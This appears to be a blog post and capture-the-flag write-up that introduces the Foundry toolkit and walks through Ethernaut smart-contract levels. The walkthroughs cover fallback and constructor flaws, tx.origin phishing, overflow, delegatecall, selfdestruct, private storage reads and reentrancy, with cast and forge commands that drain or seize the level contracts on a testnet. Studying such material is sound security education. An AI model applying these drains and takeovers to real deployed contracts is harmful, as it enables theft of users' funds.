today i go over some systems i’ve created in foundry for solving blockchain security challenges.
i tend to indulge myself with a pristine code organization && logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts (you can see it for yourself, for instance, with my solution for ethernaut’s wargames). in addition, you can also find some experiments in this repository.
0000. intro to foundry and forge
0001. comparison of flashloans on ethereum
0010. historical data on avalanche c-chain
0011. exploiting fallback()
0100. exploiting constructor()
0101. exploiting pseudo-randomness
0110. exploiting tx.origin
0111. exploiting integer overflows
1000. exploiting delegatecall
1001. exploiting payable contracts
1010. exploiting private functions
1011. exploiting transfer(msg.value)
1100. exploiting reentrancy
1101. exploiting interfaces
1110. exploiting interfaces II
foundry is the de jure blockchain dev toolkit written in my favorite language, rust.
paradigm.xyz released it on 12/2021, giving engineers and researchers an exit from javascript 👹 tests on hardhat. with foundry, tests can now be natively written on solidity.
the go-to reference to get started with foundry is its open-source docs/book. the installation is straightforward, as long as you have rust and cargo installed.
foundry’s CLI is called forge
, which is the main tool we use. foundry also ships with anvil
(a tool to create a local testnet node) and cast
(a CLI tool to perform ethereum RPC calls). these three together allow forking and testing by interacting with contracts on a real network.
most of the time, these are the forge
commands you use:
forge install/update/remove
, to add/update/remove an external dependency (inside lib
) using git submodules.
forge build
, to build your project (i.e., once you have your contracts and tests written).
forge test <--match-contract --match-test --watch --fork-url etc.>
, to run the tests you built.
forge init <--template>
, to start an empty project or to use another github project as a template.
however, forge
contains several other utilities:
a project in foundry usually has the following directories:
lib/
: any library installed using forge install
the forge
standard library is installed by default here (lib/forge-std
)
by the way, libs can be re-configured with a remappings.txt
file
src/
: where contracts to be tested are
test/
: where you add your solidity tests (e.g., MyContract.sol
)
scripts/
: where you add helpful solidity scripts (e.g., MyScript.sol
)
out/
: created after tests run, contain contract artifacts (e.g., ABI)
cache/
: created after tests run), present an internal resource so that forge
don’t need to recompile everything every time
in addition, you usually see a config file foundry.toml
in the root, where you can set the project’s behavior. something like this:
simply put, since tests are written in solidity, they either fail if there is a revert
, or pass otherwise.
the basic layout of a forge contract test contains:
setUp()
, an optional function run before EACH test case
test_*()
, functions with this prefix are used for EACH test function that should pass
testFail_*()
, functions with the prefix are used for EACH test function that should fail (i.e., it must revert to pass)
and they look like this:
note that forge requires test functions to be either external
or public
.
foundry’s cheat-codes give the ability to alter the EVM state and mock data to a specific network state.
they can be accessed by a vm
instance, with attributes like the following:
vm.prank(address)
: change msg.sender
to another address for the next call (e.g., address(0)
)
vm.expectRevert()
vm.expectEmit()
vm.createFork()
, vm.selectFork()
, vm.activeFork()
and others
vm.wrap(block_timestamp
vm.roll(block_number)
vm.free(block_basefee)
vm.prevrandao(block_prevrandao)
vm.chainid(block_chainid)
vm.store(address, slot, value)
and vm.load(address, slot, value)
vm.deal(who, new_balance)
and vm.deal(token, to, amount)
vm.recordLogs()
and vm.getRecordedLogs()
vm.setNonce()
and vm.getNonce()
vm.mockCall(address, function_selector, calldata)
vm.coinbase(address)
vm.txGasPrice()
assertions such as expectRevert()
, expectEmit()
, and expectCall()
for instance, you can override the VM state by simulating older transactions with a certain token balance, a certain block, etc.
in forge, you can trace failed tests with -vvv
. subtraces will show each call, return value, and the gas used (inside square brackets):
foundry also supports several property-based testing, which are tests that look at general behaviors as opposed to isolated scenarios:
fuzzing: generates different scenarios, random inputs, etc.
invariant testings: through several runs
and depths
, this class of testing trials for a set of invariant expressions against randomized sequences of pre-defined function calls from pre-defined contracts.
💎 @horsefacts wrote an awesome guide on invariant tests a few months ago.
advanced testing suites are a fascinating subject in development and code security, and i would love to spend more time diving into them properly in future posts. for now, here is a good reference for learning.
in addition, tracing and logging, and foundry’s precompile registry (special contracts at a fixed address within the EVM) are also in my infinite want-to-learn list.
in this project, we leverage foundry to compare flashloans from lending protocols on ethereum, including deployment cost and deployment size. this experiment is adapted from @jeiwan's code.
to run this project:
fork my code
install foundry and a solidity compiler (we are using ^0.8.16 in this project)
export an env
variable for an ethereum RPC URL (e.g., from infura's, alchemy, ankr's, or your own node):
> export RPC_URL=<RPC_URL>
each lending protocol we are testing has its own contract under src/
, and they connect together through src/interface.sol
:
here is UniswapV2.sol
:
here is UniswapV3.sol
:
here is Aavev2.sol
:
here is Balancer.sol
:
here is Euler.sol
:
we are ready for our first foundry test, under tests/testFlashloan.sol
:
simply build the contracts and run with:
in this second example, we leverage foundry’s fork
and vm
features to analyze EVM-based blockchains. more specifically, we will be inspecting data on the avalanche c-chain.
this boilerplate may be expanded for several purposes, including testing vulnerabilities or extracting MEV data (e.g., to simulate sandwich attacks in a defi protocol).
in general, you can fork a blockchain by providing an RPC URL (same as before, infura's, alchemy, etc.):
> forge test --fork-url <RPC URL>
here are some cool things you can set:
--fork-block-number
--fork-chainid
--gas-limit
--chain-id
--gas-price
--block-base-fee-per-gas
--block-coinbase
--block-timestamp
--block-number
--block-difficulty
--block-prevrandao
--block-gas-limit
--etherscan-api-key
each fork is a standalone EVM (i.e., they use entirely independent storage). however, the state of msg.sender
and the test contract are the same across fork swaps.
in addition, vm
cheat-codes also allow easy ways to modify the chain state at test runtime (for instance, many of the flags above can be simulated with vm
as well).
after defining the desired assets and/or protocols to be researched, we can use the following procedure to write the simulation test:
find out the methods that trigger price updates (e.g., swap()
on GMX’s router).
add/clone all the contracts needed for the methods above to contracts/
.
use any blockchain analytics tools (e.g., dune or avax apis) to search for past blocks with the desired feature to be studied (e.g., by setting a threshold for price movements that could be interesting to look at).
create a list with all the blocks you find and add them to data/blocks.txt
.
here is what my GMX test looks like:
cool, now let’s move to my foundry-open-sourced-code-that- i-am-the-most-proud-of.
for the rest of this post, i will be leveraging (read: solving) ethernaut’s challenges to illustrate hackings and solutions in foundry.
in this first challenge, we have to exploit a flawed fallback()
function to gain control and drain this contract:
the only way to drain the contract is via withdraw()
, which can only be called if msg.sender
is the owner
(because of the onlyOwner
modifier).
this function will transfer all the funds in the contract to the owner
's' address (note that this function is also vulnerable to reentrancy):
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
there are two places in the contract where owner
is updated with msg.sender
: contribute()
and the fallback receive()
.
the function contribute()
allows the msg.sender
to send wei
to the contract and to be tracked by the contributions[]
mapping variable.
if the total contribution made by a user is greater than the one by the actual owner, msg.sender
will become owner
:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
however, the contribution made by the user would need to be greater than 1000 eth
(to beat the one made by the owner in the constructor):
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
the fallback function receive()
is a special function that is called "automatically" when some ether
is sent to the contract without specifying anything in the calldata
(i.e., calls made with send()
or transfer()
).
💎 implementing a fallback function is a good idea if the contract receives
ether
from other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.
here, receive()
requires that msg.value > 0
(the function call needs to contain some wei
) and contributions[msg.sender] > 0
(the caller has to have donated before). if they pass, owner
becomes msg.sender
:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
check test/01/Fallback.t.sol
:
which can be run with:
> forge test --match-contract FallbackTest -vvvv
Running 1 test for test/01/Fallback.t.sol:FallbackTest
(...)
Traces:
(...)
and submitted with script/01/Fallback.s.sol
:
by running:
> forge script ./script/01/Fallback.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
Traces:
(...)
==========================
Simulated On-chain Traces:
(...)
==========================
Chain 11155111
Estimated gas price: 3.645290764 gwei
Estimated total gas used for script: 119376
Estimated amount required: 0.000435160230243264 ETH
==========================
### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 2].
## Waiting for receipts.
##### sepolia
✅ [Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
Block: 4092414
(...)
Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)
cast
alternatively, this problem could be solved without much code, by leveraging cast
.
first, call contribute()
with some wei
so that contributions[msg.sender] > 0
:
> cast send <instance contract> "contribute()" \
--value `1wei` --private-key=<your private key> \
--rpc-url=<rpc endpoint to sepolia>
blockHash 0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
blockNumber 4077851
contractAddress
cumulativeGasUsed 3800590
effectiveGasPrice 3216660017
gasUsed 47965
logs []
logsBloom 0x00...00
become owner
when triggering receive()
by sending 1 wei
to the contract with an empty data field (i.e., empty msg.data
):
> cast send <instance contract> \
--value 1wei
--private-key=<your private key> \
--rpc-url=<rpc endpoint to sepolia>
blockHash 0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
blockNumber 4077853
contractAddress
cumulativeGasUsed 28302
effectiveGasPrice 3183243793
gasUsed 28302
logs []
logsBloom 0x000...0
root
status 1
transactionHash 0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
transactionIndex 0
type 2
call withdraw()
to drain the contract.
> cast send <instance contract> "withdraw()" \
--private-key=<your private key> \
--rpc-url=<rpc endpoint to sepolia>
blockHash 0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
blockNumber 4077855
contractAddress
cumulativeGasUsed 1898453
effectiveGasPrice 3200792076
gasUsed 30364
logs []
logsBloom 0x00000...00000
root
status 1
transactionHash 0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
transactionIndex 2
type 2
in this challenge, the contract's constructor function is misspelled, causing the contract to call an empty constructor. we explore this vulnerability to become owner
:
an example of this vulnerability exploited irl was when a company called dynamic piramid changed its name to rubixi but forgot to change its contract's constructor and ended up hacked.
a constructor initializes the contract and the data within it.
when a constructor has a different name from the contract, it becomes a regular method with a default public
visibility (i.e., they are part of the contract's interface and can be callable by anyone).
this is the vulnerability we exploit:
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
💎 fun fact: before solidity
0.4.22
, defining a function with the same name as the contract was the only way to define its constructor. after that version, theconstructor
keyword was introduced.
i had to change the original contract a little to compile with foundry (e.g., adding a couple of payable
casting and removing SafeMath
as it's not needed for >= 0.8.0
).
test/02/Fallout.t.sol
is super simple:
run with:
> forge test --match-contract FalloutTest -vvvv
Running 1 test for test/02/Fallout.t.sol:FalloutTest
[PASS] testFallbackHack() (gas: 35036)
Traces:
[35036] FalloutTest::testFallbackHack()
├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
│ └─ ← ()
├─ [24507] Fallout::Fal1out()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 514.50µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
then, a solution can be submitted with script/02/Fallout.s.sol
:
by running:
> forge script ./script/02/Fallout.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.21
[⠊] Solc 0.8.21 finished in 619.82ms
Compiler run successful!
Traces:
(...)
Script ran successfully.
## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)
==========================
Chain 11155111
Estimated gas price: 3.397321144 gwei
Estimated total gas used for script: 62992
Estimated amount required: 0.000214004053502848 ETH
==========================
### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 0].
⠁ [00:00:00] [###################] 1/1 txes (0.0s)
## Waiting for receipts.
⠉ [00:00:12] [#####################################] 1/1 receipts (0.0s)
##### sepolia
✅ [Success]Hash: 0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374
Block: 4097312
Paid: 0.00014700180794244 ETH (45606 gas * 3.22329974 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.00014700180794244 ETH (45606 gas * avg 3.22329974 gwei)
in this challenge, we exploit the determinism of a pseudo-random function composed uniquely of an EVM global accessible variable (blockhash
) and no added entropy.
this is the vulnerable contract:
the EVM is a deterministic turing machine.
since it has no inherent randomness and as everything in the contracts is publicly visible (e.g., block.timestamp
, block.number
), generating random numbers in solidity is non-trivial.
projects resource to external oracles or to ethereum validator's RANDAO algorithm.
the CoinFlip
contract uses the current block's blockhash
to determine the side of a coin, represented by a bool
variable named coinFlip
:
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
which is derived from the variable blockValue
as a uint256
generated from the previous block number (block's number minus 1):
uint256 blockValue = uint256(blockhash(block.number - 1));
this FACTOR
variable is useless:
first, division by a large constant does not introduce any randomness entropy at all.
second, even if this constant is private, it's still available at etherscan or by decompiling the bytecode (if the contract is not verified).
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
finally, the "randomness" in this contract is calculated from on-chain deterministic data, so all we need to do is simulate side
before we submit a guess, and repeat this ten times.
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
for this simulation, we leverage foundry's vm.roll(uint256)
, which simulates the block.number
given by the uint256
.
our exploit is located at src/03/CoinFlipExploit.sol
:
which can be tested with test/03/CoinFlip.t.sol
:
running with:
> forge test --match-contract CoinFlipTest -vvvv
Running 1 test for test/03/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlipHack() (gas: 247316)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 670.88µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
to submit the solution, we run script/03/CoinFlip.s.sol
:
with:
> forge script ./script/03/CoinFlip.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
[⠰] Compiling...
No files changed, compilation skipped
Traces:
(...)
Script ran successfully.
== Logs ==
10
## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)
==========================
Chain 11155111
Estimated gas price: 3.00000004 gwei
Estimated total gas used for script: 587395
Estimated amount required: 0.0017621850234958 ETH
==========================
## Waiting for receipts.
⠄ [00:00:13] [###########################################] 11/11 receipts (0.0s)
##### sepolia
✅ [Success]Hash: 0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f
Contract Address: 0x677cB6C1682E2Fa2715B637190167FAc419a4a88
Block: 4230872
Paid: 0.000479472003835776 ETH (159824 gas * 3.000000024 gwei)
(...)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.001304178010433424 ETH (434726 gas * avg 3.000000024 gwei)
in this challenge, we exploit the difference between solidity's global variables tx.origin
and msg.sender
to to phish with tx.origin
and become owner
.
tx.origin
refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while msg.sender
is the immediate caller (and can be a contract).
tx.origin
is known for being generally vulnerable, and its use should be restricted to specific cases, such as denying external contracts from calling the current contract (for instance, with a require(tx.origin == msg.sender)
).
💎 fun fact, this type of vulnerability resembles web2's cross-site request forgery (csrf). exactly a decade ago, when i was getting started in security research and csrf was still heavily in the wild, i wrote a modification of apache's
mod_security
to monitor for it. it's wild how the world has changed in a decade…
Telephone()
contract is pretty simple. first, it declares a state variable called owner
(state variables have values permanently stored in a contract storage):
address public owner;
then we have a constructor that defines that the EOA who deploys this contract is its owner
:
constructor() {
owner = msg.sender;
}
finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that tx.origin
and msg.sender
are not the same:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
this can be done by creating an intermediary contract that makes a call to Telephone()
.
this is our exploit:
first, we test our solution at test/04/Telephone.t.sol
:
by running:
> forge test --match-contract TelephoneTest -vvvv
once it passes, we submit the exploit with script/04/Telephone.s.sol
:
by running:
> forge script ./script/04/Telephone.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
cast
instead of relying on our deploying script, a second option is deploying the contract directly with:
> forge create src/04/TelephoneExploit.sol:TelephoneExploit \
--constructor-args <level address> \
--private-key=<private-key> \
--rpc-url=<sepolia url>
note that we would have to slightly modify our exploit to create an instance of Telephone
instead of receiving it as an argument (with level
).
something like this:
to call the exploit, we run:
> cast send <deployed address> "changeOwner()" \
--private-key=<private-key> \
--rpc-url=<sepolia url>
in this challenge, we explore a classic vulnerability in both web2 and web3 security: integer overflows.
this is the vulnerable contract:
programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables' capacity limit.
we will use this trick to overflow a uint
and bypass the require()
check of Token()
's transfer()
function:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
whenever we add 1
to a variable's maximum value, the value wraps around and decreases.
for example, an (unsigned) uint8
, has the maximum value of 2^8 - 1 = 255
. if we add 1
to it, it becomes 0
. same as 2^256 - 1 + 1
.
symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable's value. this is our exploit.
if we pass a _value
to transfer()
that is larger than 20
, for instance 1
, balances[msg.sender] - _value
results on uint256(-1)
, which is equal to a very large number, 2^256 – 1
.
in solidity, this type of integer overflow used to be a vulnerability until version 0.8.0
.
this is why contracts were advised to use OpenZeppelin' SafeMath.sol
whenever they performed integer operations. in newer versions, if the code is not performing these operations, we can use unchecked
to save gas.
since this challenge is so easy, we skip tests and go directly to the submission script, script/05/Token.s.sol
:
running with:
> forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia
in this challenge, we become owner
by leveraging an attack surface generated from implementing the low-level function delegatecall
(from opcode DELEGATECALL
).
exploitation of delegatecall()
has been in several hacks in the wild, for example the parity multisig wallet hack, in 2017.
this is the vulnerable contract:
CALL
and DELEGATECALL
opcodes allow ethereum developers to modularize their code.
standard external message calls are handled by CALL
(code is run in the context of the external contract/function).
DELEGATECALL
is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).
when a contract executes DELEGATECALL
to another contract, this contract is executed with the original contract msg.sender
, msg.value
, and storage (in particular, the contract's storage can be changed).
finally, the function delegatecall()
is a way to make these external calls to other contracts.
in this problem, we are provided with two contracts. Delegate()
is the parent contract, which we want to become owner
of. conveniently, the function pwn()
is very explicit on being our target:
now, note that the variable owner
is in the first slot of both contracts.
ordering of variable slots (and their mismatches) are what DELEGATECALL
exploits in the wild usually explore.
this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.
in our case, we when trigger the fallback in Delegate()
to generate a delegate call to run pwn()
in Delegation()
, the owner
variable (which is at slot0
of both contracts) updates Delegation()
's storage slot0
.
the second contract, which we have access, is Delegation()
, comes with has another convenience: a delegatecall()
in the fallback
function.
this fallback function is simply forwarding everything to Delegate()
:
from a previous challenge, we know that fallback functions are like a "catch-all" in a contract, so it's pretty easy to access them.
in this particular case, delegatecall()
takes msg.data
as input (i.e., whatever data we pass when we trigger the fallback). it's pretty much an exec
, as we can pass function calls through it.
the last information we need is to learn how deletecall()
passes arguments.
the function signatures are encoded by computing Keccak-246 and keeping the first 4 bytes (the function selector in the EVM).
delegatecall(abi.encodeWithSignature("func_signature", "arguments"));
in our attack we will use call(abi.encodeWithSignature("pwn()")
to trigger fallback()
and become owner
.
this is also equivalent to the eth
call sendTransaction()
:
sendTransaction({
to: contract.address,
data: web3.eth.abi.encodeFunctionSignature("pwn()"),
from: hackerAddress
})
check test/06/Delegation.t.sol
:
run:
> forge test --match-contract DelegationTest -vvvv
submit with script/06/Delegation.s.sol
:
by running:
> forge script ./script/06/Delegation.s.sol \
--broadcast -vvvv \
--rpc-url sepolia
cast
get methodId
for pwn()
:
> cast calldata 'pwn()'
use the result above to trigger Delegation()
fallback function with a crafted msg.data
:
> cast send <instance address> <calldata above> \
--gas <extra gas> \
--private-key=<private-key> \
--rpc-url=<sepolia url>
this challenge’s contract has no code…
in fact, this challenge exploits smart contract invariants, and how total balance is not a good invariant.
contract invariants are properties of the program state that are expected to always be true. for instance, the value of owner
state variable, the total token supply, etc., should always remain the same.
a state in the blockchain is considered valid when the contract-specific invariants hold true.
in this challenge, we need to find a way to forcefully send ether
to a contract that does not explicitly contain a payable
, a receive()
, or a fallback()
function.
there are two ways this can be done when the destination contract is already deployed:
by using coinbase
transactions or block rewards (like MEV searchers and validators rewards)
by leveraging (the now being deprecated) selfdestruct(address)
, which allows contracts to receive ether
from other contracts.
all the ether
stored in the calling contract is transferred to address
(and since this happens at the EVM level, there is no way for the receiver to prevent it).
selfdestruct()
can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).
we craft a very simple exploit, located at src/07/ForceExploit.sol
:
and test it with test/07/Force.t.sol
:
running:
> forge test --match-contract ForceTest -vvvv
then, we submit the solution with script/07/Force.s.sol
:
by running:
> forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia
cast
deploy the exploit with:
> forge create src/07/ForceExploit.sol:ForceExploit \
--constructor-args=<level address> \
--private-key=<private-key> \
--rpc-url=<sepolia url>
then call the contract with:
> cast send <deployed address> \
--value 0.0005ether \
--private-key=<private-key> \
--rpc-url=<sepolia url>
this challenge explores the fact that if a state variable is declared private
, it's only hidden from other contracts (i.e., it's private within the contract's scope).
this is the vulnerable contract:
in other words, a private
variable's value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.
remember that public
and private
are visibility modifiers, while pure
and view
are state modifiers.
a great explanation about solidity function visibility can be found on solidity by example.
before we start, it's worth talking about the four ways the EVM stores data, depending on their context.
firstly, there is the key-value stack, where you can POP
, PUSH
, DUP1
, or POP
data.
basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit 1024
.
stack items (both keys and values) have a size of 32-bytes
(or 256-bit
), so the EVM is a 256-bit
word machine (facilitating, for instance, keccak256
hash scheme and elliptic-curve computations).
secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions).
MSTORE
, MLOAD
, or MSTORE8
.third, there is the calldata (which can be accessed through msg.data
), a read-only byte-addressable space for the data parameter of a transaction or call.
unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.
opcodes are CALLDATACOPY
, which copies a number of bytes of the transaction to memory, CALLDATASIZE
, and CALLDATALOAD
.
lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of 2^{256}
slots of 32 bytes
each.
SSTORE
is used to store data and SLOAD
to load.the first thing we see in the contract is the two state variables set as private
.
in particular, password
is declared as byte32
, which makes this problem even simpler (hint: remember that the EVM operates on 32 bytes at a time):
bool private locked;
bytes32 private password;
looking at the constructor, we see that password
is given as input by whoever deploys this contract (and also setting the variable locked
to True
):
constructor(bytes32 _password) {
locked = true;
password = _password;
}
finally, we look at the only function in the contract: it "unlocks" locked
when given the correct password:
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.
a first approach is simply to call the well-known API web3.eth.getStorageAt(contractAddress, slotNumber)
, as we know the contract address and that password
is on slot number 1
:
> await web3.eth.getStorageAt("<contract address>, 1")
however, we use a more formal approach that leverages foundry's vm.load()
method:
function load(address account, bytes32 slot) external returns (bytes32);
in particular, foundry's std storage library is a great util to manipulate storage.
from the foundry book, here is an illustration of how vm.load()
works:
contract LeetContract {
uint256 private leet = 1337; // slot 0
}
bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
emit log_uint(uint256(leet)); // 1337
check test/08/Vault.t.sol
:
run the test with:
> forge test --match-contract VaultTest -vvvv
then submit the solution with script/08/Vault.s.sol
:
by running:
> forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia
cast
get the password with:
> cast storage <contract address> 1 \
--private-key=<private-key> \
--rpc-url=<sepolia url>
run in the console:
> await contract.unlock(<password>)
the King
contract represents a simple ponzi where whoever sends the largest amount of ether
(larger than the current prize
value) becomes the new king.
in this event, the previous king gets paid the new prize.
here is the vulnerable contract:
the vulnerability lies on the fact that the contract trusts the external input of msg.value
when running transfer(msg.value)
. it assumes that the king is an EOA, which could also be a contract.
our goal is to explore this vulnerability to not let anyone else become the king.
the King
contract starts with three state variables that are set in the constructor:
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
king
is initially the person who deployed the contract and sets prize
(the current value to be bet by someone to become king
). the only requirement is that the ether
sent to the contract must be larger than prize
.
following we have the receive()
function and a getter for king
. to become a king
one needs to either be owner
or send a value for prize
larger than its current. since we didn't deploy the contract, the first option is not available:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
looking at receive()
, we see that after we send enough prize
, a payable
function is triggered to pay prize
to the previous king
.
it uses transfer(address)
, which sends the amount of wei
to address
, throwing an error on failure.
sending ether
to EOAs is usually performed via transfer()
method, but remember that there are a few ways of performing external calls in solidity. the send()
function also consumes 2300
gas, but returns a bool
.
finally, the call()
function and the CALL
opcode can be directly employed, forwarding all gas and returning a bool
.
in addition, note that this contract has no error handling, so an obvious security issue is unchecked call return values.
in other words, each time a contract sends ether
to another, it depends on the other contract’s code to handle the transaction and determine its success.
for instance, the contract might not have a payable
fallback()
, or have a malicious fallback()
or payable
function.
if the new king
is a contract address instead of a EOA, it could redirect transfer()
and revert its transaction, skipping the execution of the next lines:
king = msg.sender;
prize = msg.value;
we write our exploit at src/09/KingExploit.sol
.
note that the fallback()
is optional for winning the challenge, but we add it here to make very clear the point that no eth
should be sent (i.e., there won't be a new king):
we test this script with test/09/King.t.sol
:
running with:
> forge test --match-contract KingTest -vvvv
then, we craft the submission script at script/09/King.s.sol
:
and finish the problem running:
> forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia
cast
deploy the exploit with:
> forge create src/09/KingExploit.sol:Contract \
--constructor-args=<level address> \
--private-key=<private-key> \
--rpc-url=<sepolia url> --value 1000000000000000wei
then call the contract with:
> cast send <deployed address> \
--value 0.0001ether \
--private-key=<private-key> \
--rpc-url=<sepolia url>
we know that contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (i.e., reentering) or any other contract in the call stack.
a reentrancy attack can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.
state in the blockchain is considered valid when the contract-specific invariants hold true. contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.
in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.
for example, an attacker could repeatedly call a withdraw()
or receive()
function (or similar balance updating function) before a vulnerable contract’s balance is updated.
💎 for a detailed review on reentrancy attacks, check my mirror post.
in this challenge, we need to exploit this contract:
the Reentrance
contract starts with a state variable for balances
:
contract Reentrance {
mapping(address => uint256) public balances;
then we have a getter and a setter function for donate()
(whoever donates some ether
becomes part of balances
) and balanceOf()
:
function donate(address _to) public payable {
balances[_to] = balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
then, we have the withdraw(amount)
function, which is the source of our reentrancy attack.
for instance, note how it already breaks the checks -> effects -> interactions
pattern.
in other words, if msg.sender
is a (attacker) contract and since balances
deduction is made after the call, the contract can call a fallback()
to cause a recursion that sends the value multiple times before reducing the sender's balance.
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool success, ) = msg.sender.call{value: _amount}("");
if (success) {
_amount;
}
// unchecked to prevent underflow errors
unchecked {
balances[msg.sender] -= _amount;
}
}
}
finally, we see a blank receive()
function, which receives any ether
sent to the contract without specifically calling donate()
.
receive()
is a new keyword in solidity 0.6.x, and it is used as a fallback()
function for empty calldata (or any value) that is only able to receive ether.
remember that solidity’s fallback()
function is executed if none of the other functions match the function identifier or no data was provided with the function call (and it can be optionally payable
).
receive() external payable {}
our exploit needs to do the following:
makes an initial donation of ether
through call()
.
calls the first withdraw(initialDeposit)
for this amount of ether
(which triggers our exploit's receive()
for the first time and starts the recursion).
call the second withdraw(address(level).balance)
to drain the contract.
the exploit is located at src/10/ReentrancyExploit.sol
. note that the attack occurs at run()
and receive()
. the function withdrawtoHacker()
can be called afterwords to withdraw the balance from the ReentrancyExploit
contract:
which can be tested with test/10/Reentrancy.t.sol
:
by running:
> forge test --match-contract ReentrancyTest -vvvv
finally, the solution can be submitted with script/10/Reentrancy.s.sol
:
by running:
> forge script ./script/10/Reentrancy.s.sol --broadcast -vvvv --rpc-url sepolia
this challenge explores vulnerabilities in smart contract composability (usually classified into ERC standards, libraries, and interfaces):
more specifically, the lesson in this challenge is to be careful when using interfaces (or other contracts), as they introduce an attack surface to any re-implementable function (and view
or pure
modifiers cannot be treated as guarantees for function behavior).
remember that an interface
cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.
in addition, another takeaway is to refrain from giving permissions to msg.sender
to implement interfaces or modify the storage and state of your contract (unless explicitly required).
the contract starts with an interface
containing an external
function that returns a bool
if isLastFloor()
.
note that external
allows a state change (an alternative is view
, which doesn't allow modification of the state of the contract).
interface Building {
function isLastFloor(uint) external returns (bool);
}
now, let's look at the Elevator
contract, where we already see a mistake in the very definition:
contract Elevator {...}
should be, instead,
contract Elevator is Building {...}
next, we see two state variables, bool top
to indicate if we are at the top and uint floor
telling where to go:
bool public top;
uint public floor;
finally, there is one (public
) function, which simulates the movement of the elevator by first initiating the building
contract (with the data provided by msg.sender
) and then taking uint _floor
.
this challenge's vulnerability is found in this part, due to the unchecked assumption about the caller:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
}
if the given floor number is not the last, fill both in variables floor
and top
:
if (! building.isLastFloor(_floor)) {
